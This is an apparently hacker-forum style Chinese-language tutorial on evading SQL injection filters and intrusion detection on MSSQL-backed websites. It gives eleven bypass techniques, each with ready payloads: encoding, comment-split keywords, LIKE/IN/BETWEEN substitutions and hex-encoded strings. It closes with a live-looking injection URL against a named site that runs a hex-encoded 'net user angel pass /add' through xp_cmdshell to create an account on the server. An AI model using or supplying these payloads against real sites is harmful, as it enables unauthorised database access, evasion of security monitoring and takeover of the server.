突然想我們是否可以用什麼方法繞過SQL注入的限制呢？到網上考察了一下，提到的方法大多都是針對AND與“’”號和“=”號過濾的突破，雖然有點進步的地方，但還是有一些關鍵字沒有繞過，由於我不常入侵網站所以也不敢對上述過濾的效果進行評論，但是可以肯定的是，效果不會很好……

經過我的收集，大部分的防注入程式都過濾了以下關鍵字：

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而這裡最難處理的就是select這個關鍵字了，那麼我們怎樣來突破他們呢？問題雖未完全解決，但還是說出來與大家分享一下，希望能拋磚引玉。
對於關鍵字的過濾，以下是我收集的以及我個人的一些想法。

1、運用編碼技術繞過

如URLEncode編碼，ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通過空格繞過

如兩個空格代替一個空格，用Tab代替空格等，或者刪除所有空格，如or’ swords’ =‘swords’ ，由於mssql的鬆散性，我們可以把or ‘swords’ 之間的空格去掉，並不影響執行。

3、運用字串判斷代替

用經典的or 1=1判斷繞過,如or ‘swords’ =’swords’，這個方法就是網上在討論的。

4、通過型別轉換修飾符N繞過

可以說這是一個不錯的想法，他除了能在某種程度上繞過限制，而且還有別的作用，大家自己好好想想吧。關於利用，如or ‘swords’ = N’ swords’ ，大寫的N告訴mssql server 字串作為nvarchar型別，它起到型別轉換的作用，並不影響注射語句本身，但是可以避過基於知識的模式匹配IDS。

5、通過+號拆解字串繞過

效果值得考證，但畢竟是一種方法。如 or ‘swords’ =‘sw’ +’ ords’ ；EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

6、通過LIKE繞過

以前怎麼就沒想到呢？如or ‘swords’ LIKE ‘sw’！！！顯然可以很輕鬆的繞過“=”“>”的限制……

7、通過IN繞過

與上面的LIKE的思路差不多,如or ‘swords’ IN (‘swords’)

8、通過BETWEEN繞過

如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

9、通過>或者<繞過

or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3

……

10、運用註釋語句繞過

用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser

用/**/分割敏感詞，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser

11、用HEX繞過，一般的IDS都無法檢測出來

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

另外，關於通用點的過濾方法，我們可以考慮採用賦值的方法，例如先宣告一個變數a，然後把我們的指令賦值給a，然後呼叫變數a最終執行我們輸入的命令。變數a可以是任何命令。如下：

　　declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

效果http://www.hackline.net/show.asp?id=1;declare%[email protected]% 20sysname%20select%[email protected]=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f

00610064006400%20exec%20master.dbo.xp_cmdshell%[email protected];–

其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。